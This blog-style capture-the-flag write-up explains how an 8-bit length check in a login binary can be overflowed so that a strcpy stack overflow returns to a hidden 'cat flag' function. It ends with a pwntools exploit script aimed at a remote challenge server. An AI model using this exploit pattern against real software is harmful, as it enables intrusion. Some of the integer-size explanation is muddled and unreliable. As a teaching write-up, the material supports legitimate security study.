char s; // [esp+200h] [ebp-28h]

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
--------------------------------- check_passwd
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}

--------------------------------- what_is_this -- not in the main logic
int what_is_this()
{
return system("cat flag");
}

Main idea is using result = strcpy(&dest, s); in check_passwd() to perform stack overflow and return to what_is_this().
s in check_passwd() comes from buf in login(), so we should input buf in login() to overwrite dest in check_passwd().
But before it, if we want to reach result = strcpy(&dest, s);, make v3 <= 3u || v3 > 8u false first.

Here we use integer overflow to pass it.
v3 is an unsigned int (8 bits, 4 bytes), so the 0x100000001 is equal to 0x1 because the highest digit overflowed. BTW, if it is a signed int (7 bits + 1), 0x10000001 is definitely different from 0x1 (different sign).

Therefore our payload length should be between 259 and 264.

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process("./int")
sh = remote("220.249.52.133",33616)
what_is_this_addr = 0x0804868B
sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline("name")
payload = 0x14 * 'a' + 'bbbb' + p32(what_is_this_addr) + 'c' * 234
sh.sendline(payload)
sh.recv()
sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k